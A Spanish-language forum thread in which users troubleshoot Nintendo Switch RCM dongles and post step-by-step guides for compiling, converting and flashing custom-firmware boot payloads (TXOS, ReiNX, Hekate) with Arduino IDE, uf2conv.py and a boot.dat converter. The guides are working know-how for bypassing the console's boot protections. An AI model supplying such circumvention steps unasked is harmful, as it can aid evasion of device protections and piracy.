Finalmente he conseguido realizar el corto en el dongle y efectivamente ya lanza de nuevo el payload del TX, el problema es que ahora vuelve a no leerlo el PC, es decir, si tiene esta pista en contacto lanza el payload, pero si no entonces lo detecta el PC.
Al menos ahora me vuelve a funcionar, pero solo con el payload que tiene cargado ahora mismo, es decir, el de TXOS.
No se si por software habrá alguna manera de solucionar esto, pero vamos es una patata de mucho cuidao.
Bueno, al menos me lo he pasado bien trasteando un rato, aunque no tengo ni idea de soldar ni de todo este tema de electrónica...
A ver si alguien puede encontrar la solución al problema definitivamente.
Yo ya le he puesto la reclamación en Aliexpress y he vuelto a pedir otro dongle al mismo vendedor esperando que me devuelva el dinero de este, claro está.
Un saludo.
Bueno lo importante es que te funcione y lance el payload al conectarlo a la switch..
con el metodo que puse de convertir el payload que quieras a boo.dat usando CTCcaer converter puedes usar el payload que quieras, ademas es la forma mas facil, lo unico que no puedo comprobar hasta que tenga el dongle es si al hacerlo de este metodo tarda algo mas que si lo lanzaras en nativo. (hay que comprobar tiempos de carga, porque este es el metodo mas facil y no hay que tocar el dongle, si la diferencia es de 1 seg o asi, es lo mejor, si en cambio tardara 30 segundos o eso entonces ya si que habria que mirar otras opciones y hacerlo nativo.
clockterra escribió:Evil_forces escribió:Hola de nuevo.
Finalmente he conseguido realizar el corto en el dongle y efectivamente ya lanza de nuevo el payload del TX, el problema es que ahora vuelve a no leerlo el PC, es decir, si tiene esta pista en contacto lanza el payload, pero si no entonces lo detecta el PC.
Al menos ahora me vuelve a funcionar, pero solo con el payload que tiene cargado ahora mismo, es decir, el de TXOS.
No se si por software habrá alguna manera de solucionar esto, pero vamos es una patata de mucho cuidao.
Bueno, al menos me lo he pasado bien trasteando un rato, aunque no tengo ni idea de soldar ni de todo este tema de electrónica...
A ver si alguien puede encontrar la solución al problema definitivamente.
Yo ya le he puesto la reclamación en Aliexpress y he vuelto a pedir otro dongle al mismo vendedor esperando que me devuelva el dinero de este, claro está.
Un saludo.
Bueno lo importante es que te funcione y lance el payload al conectarlo a la switch..
con el método que puse de convertir el payload que quieras a boo.dat usando CTCcaer converter puedes usar el payload que quieras, ademas es la forma mas fácil, lo unico que no puedo comprobar hasta que tenga el dongle es si al hacerlo de este metodo tarda algo mas que si lo lanzaras en nativo. (hay que comprobar tiempos de carga, porque este es el metodo mas facil y no hay que tocar el dongle, si la diferencia es de 1 seg o asi, es lo mejor, si en cambio tardara 30 segundos o eso entonces ya si que habría que mirar otras opciones y hacerlo nativo.
Evil_forces escribió:Hola de nuevo.
Finalmente he conseguido realizar el corto en el dongle y efectivamente ya lanza de nuevo el payload del TX, el problema es que ahora vuelve a no leerlo el PC, es decir, si tiene esta pista en contacto lanza el payload, pero si no entonces lo detecta el PC.
Al menos ahora me vuelve a funcionar, pero solo con el payload que tiene cargado ahora mismo, es decir, el de TXOS.
tomnav escribió:Evil_forces escribió:Hola de nuevo.
Finalmente he conseguido realizar el corto en el dongle y efectivamente ya lanza de nuevo el payload del TX, el problema es que ahora vuelve a no leerlo el PC, es decir, si tiene esta pista en contacto lanza el payload, pero si no entonces lo detecta el PC.
Al menos ahora me vuelve a funcionar, pero solo con el payload que tiene cargado ahora mismo, es decir, el de TXOS.
Joer tío, y te quejas que no sabes, jajajajajaja un fenómeno, yo lo tengo muerto de risa. No me atrevo, aún si fuera una resistencia de las típicas que conozco y grande, pero no me veo.
Ojalá me hubiera cargado a mí el TX desde en principio, me daba igual, cargaría el SX y luego lo quité me apeteciera desde la micro SD... No habría problema, pero así estoy... Jajajajajaja
nico33 escribió:vladd_tepess escribió:Pues yo espero que con el v3 no pase eso sino se lo devuelvo. Ayer salió en Aliexpress otro dongle pero está agotado y tiene mucha mejor pinta.
Puedes poner el enlace para ver ese dongle nuevo?.
vladd_tepess escribió:nico33 escribió:vladd_tepess escribió:Pues yo espero que con el v3 no pase eso sino se lo devuelvo. Ayer salió en Aliexpress otro dongle pero está agotado y tiene mucha mejor pinta.
Puedes poner el enlace para ver ese dongle nuevo?.
Agotado Recargable NS Pro SX OS RCM rotura clave herramientas para Nintendo interruptor Mods Kits más corto + inyector JIG Smart Clip disco conector y caja
JulesRussel escribió:@clockterra Son supercondensadores, lo dice la imagen. Un supercondensador por cierto carga más rápido pero almacena menos carga que una batería. En cuanto a lo de cargar si hace como el de xecuter carga por el usb c de la consola, simplemente al entrar en el SO ya llega mínimo al 80% de la carga, yo el mío no lo cargué nunca externamente y lo uso todos los días 1-2 veces. Ya lo habré usado desde que lo compré 100 veces facilmente sin cargarlo nunca externamente.
JulesRussel escribió:@clockterra A ver que hablamos de supercondesadores, no de condensadores, como los que llevan los autobuses que se cargan en las marquesinas. Su característica es soportar ciclos de carga y descarga rápida, otra cosa puede ser la calidad de los supercondensadores chinos pero no estamos hablando de un condensador
https://es.wikipedia.org/wiki/Supercondensador
Download and install arduino IDE http://www.arduino.cc/en/Main/Software
In Arduino: go to "Prefences" and add to "Additional Board Manager URLs" followin URL:
https://adafruit.github.io/arduino-boar ... index.json
go to "Tools > Board > Board Manager" and select Type: All and
Install "Arduino SAMD Boards" by Arduino
Install "Adafruit SAMD Boards" by Adafruit
Select the Trinket M0 with "Tools > Board > Adafruit Trinket M0"
Go to Sketch > Include Library > Manage Libraries Install USBHOst by Arduino
Pasos:
1º convertir el payload que queramos en .h (con el script que pase que funciona).
2º copiar el payload (reinx.h) a la carpeta del build
3º usar el build que pone en marcha arduine IDE (sketch)
4º usar las opciones para seleccionar el payload que queramos.. (// descativa la opcion, solo debes tener 1 de los 4 activados, el que quieras crear)
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
5º compilar, y tener ruta alternativa en opciones preferencias txt. (asi crea la carpeta donde nosotros le decimos y de ahi podemos coger la compilacion tanto en .bin como .h las dos formas funcionan bien)..
6º coger los archivos build.ino.bin o build.ino.hex y copiarlos en una carpeta con el conversor a uf2 para convertir a uf2
(el script de conversion a uf2 se encuentra en el github de euclala)
Para el bin usar:
uf2conv.py -c -o ReiNX.uf2 build.ino.bin
Para el hex:
uf2conv.py -c -o ReiNXhex.uf2 build.ino.hex
y vuala, ya tenemos los uf2 listos para mandar al dongle...
cargar UF2 en el dongle:
1º conectas dongle al pc.
2º pulsas 2 veces el boton res
3º Aperece una unidad usb en el pc..
4º copias el archio uf2 (del payload que quieras usar) en esa unidad.
5º el solo instalara el archivo uf2, creando los tres archivos que usa (current.uf2, index.html y infor_uf2.txt) y borrando el uf2 que acabas de instalar, automaticante te desmonta la unidad y se pone listo para usar..
Pasos:
1º convertir el payload que queramos en .h (con el script que pase que funciona).
2º copiar el payload (reinx.h) a la carpeta del build
3º usar el build que pone en marcha arduine IDE (sketch)
4º usar las opciones para seleccionar el payload que queramos. (// descativa la opcion, solo debes tener 1 de los 4 activados, el que quieras crear)
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
5º compilar y si no tienes errores puedes ya darle a enviar.
https://gist.github.com/CTCaer/13c02c05daec9e674ba00ce5ac35f5be
1º cogemos el script de su github.
2º Para un uso mas sencillo para futuros payloads, puedes editar la linea 31 del script y cambiar el nombre del payload a uno mas corto, (ejemplo ReiNX.bin o Hekate32.bin)
3º Coger el payload que queramos convertir y cambiarle el nombre al que hemos puesto anteriormente o si no hemos cambiado el nombre en el paso anterior, poner este hekate_ctcaer_3.2.bin
4º Arrastrar el archivo con el payload encima del script y ya lo convierte.(dandonos un boot.dat que tiene un tamaño similar a nuestro payload.( Si tiene un tamaño de 0 kb es que no has renombrado bien el nombre del payload).
5º copiar el boot.dat en la raiz de la tarjeta SD.
ya esta listo, cuando arranques con el dongle pues directamente arrancara, si arrancas con el menu darle a CFW como si fuera el SXOS y ya esta.
clockterra escribió:JulesRussel escribió:@clockterra A ver que hablamos de supercondesadores, no de condensadores, como los que llevan los autobuses que se cargan en las marquesinas. Su característica es soportar ciclos de carga y descarga rápida, otra cosa puede ser la calidad de los supercondensadores chinos pero no estamos hablando de un condensador
https://es.wikipedia.org/wiki/Supercondensador
si ya te he dicho que se que son y los he utilizado en algun proyecto, pero siguen sin convencerme...para estos fines (que es alimentar el chipset atmel samd21 o equivalente que lleven los dongle).
Ademas basta ver como he comentado ya la de gente con problemas con el SXOS pro y todo es debido a los "super"condensadores. (y mas porque ya sabemos como fabrican los chinos y la calidad que ponen...), yo sigo prefiriendo bateria, que es barata y facil de reemplazar en un futuro y cumple bien su cometido..
@javieron_
podrias copiar esto en el primer post, con todas las opciones que tenemos al momento...
Hay que tener python instalado en el pc..
1º UF2 crear y cargar.
2º Crear payload con el build (compilar y enviar con arduino ide).
3º Dejar el dongle como viene y usar TXOS. Para tener el payload que queramos usar en cada momento lo convertimos a boot.dat con CTCcaer converter..y lo copiamos en la raiz de la SD.
**Nota para usar arduino ide (Sketch), hay que seguir la guia de euclala para la instalacion de los modulos necesarios y configuracion de puerto/tarjeta.Download and install arduino IDE http://www.arduino.cc/en/Main/Software
In Arduino: go to "Prefences" and add to "Additional Board Manager URLs" followin URL:
https://adafruit.github.io/arduino-boar ... index.json
go to "Tools > Board > Board Manager" and select Type: All and
Install "Arduino SAMD Boards" by Arduino
Install "Adafruit SAMD Boards" by Adafruit
Select the Trinket M0 with "Tools > Board > Adafruit Trinket M0"
Go to Sketch > Include Library > Manage Libraries Install USBHOst by Arduino
1º hacer tu propio payload y convertirlo a uf2 (para copiar directamente al dongle).Pasos:
1º convertir el payload que queramos en .h (con el script que pase que funciona).
2º copiar el payload (reinx.h) a la carpeta del build
3º usar el build que pone en marcha arduine IDE (sketch)
4º usar las opciones para seleccionar el payload que queramos.. (// descativa la opcion, solo debes tener 1 de los 4 activados, el que quieras crear)
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
5º compilar, y tener ruta alternativa en opciones preferencias txt. (asi crea la carpeta donde nosotros le decimos y de ahi podemos coger la compilacion tanto en .bin como .h las dos formas funcionan bien)..
6º coger los archivos build.ino.bin o build.ino.hex y copiarlos en una carpeta con el conversor a uf2 para convertir a uf2
(el script de conversion a uf2 se encuentra en el github de euclala)
Para el bin usar:
uf2conv.py -c -o ReiNX.uf2 build.ino.bin
Para el hex:
uf2conv.py -c -o ReiNXhex.uf2 build.ino.hex
y vuala, ya tenemos los uf2 listos para mandar al dongle...
cargar UF2 en el dongle:
1º conectas dongle al pc.
2º pulsas 2 veces el boton res
3º Aperece una unidad usb en el pc..
4º copias el archio uf2 (del payload que quieras usar) en esa unidad.
5º el solo instalara el archivo uf2, creando los tres archivos que usa (current.uf2, index.html y infor_uf2.txt) y borrando el uf2 que acabas de instalar, automaticante te desmonta la unidad y se pone listo para usar..
2º crear payload que quieras y compilarlo y subir desde arduine IDE (sketch)Pasos:
1º convertir el payload que queramos en .h (con el script que pase que funciona).
2º copiar el payload (reinx.h) a la carpeta del build
3º usar el build que pone en marcha arduine IDE (sketch)
4º usar las opciones para seleccionar el payload que queramos. (// descativa la opcion, solo debes tener 1 de los 4 activados, el que quieras crear)
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
5º compilar y si no tienes errores puedes ya darle a enviar.
3º dejar dongle en TXOS y crear tu payload convirtiendolo con CTCcaer converterhttps://gist.github.com/CTCaer/13c02c05daec9e674ba00ce5ac35f5be
1º cogemos el script de su github.
2º Para un uso mas sencillo para futuros payloads, puedes editar la linea 31 del script y cambiar el nombre del payload a uno mas corto, (ejemplo ReiNX.bin o Hekate32.bin)
3º Coger el payload que queramos convertir y cambiarle el nombre al que hemos puesto anteriormente o si no hemos cambiado el nombre en el paso anterior, poner este hekate_ctcaer_3.2.bin
4º Arrastrar el archivo con el payload encima del script y ya lo convierte.(dandonos un boot.dat que tiene un tamaño similar a nuestro payload.( Si tiene un tamaño de 0 kb es que no has renombrado bien el nombre del payload).
5º copiar el boot.dat en la raiz de la tarjeta SD.
ya esta listo, cuando arranques con el dongle pues directamente arrancara, si arrancas con el menu darle a CFW como si fuera el SXOS y ya esta.
BeSalmorejo escribió:Entonces el dongle este ¿tiene bateria o condensadores? Yo en las fotos veo dos condensadores como dos soles.
jbgoode escribió:Buenas! Gracias a todos por vuestras aportaciones, a ver si no tarda mucho en llegarme el aparato... Una pregunta (con petición incorporada) ¿Sería legal colgar los payloads preparados para este dongle en el primer post? Si es así, ¿alguien que los tenga ya compilados se los puede pasar al creador del hilo para que lo haga? Sería un puntazo.
Gracias!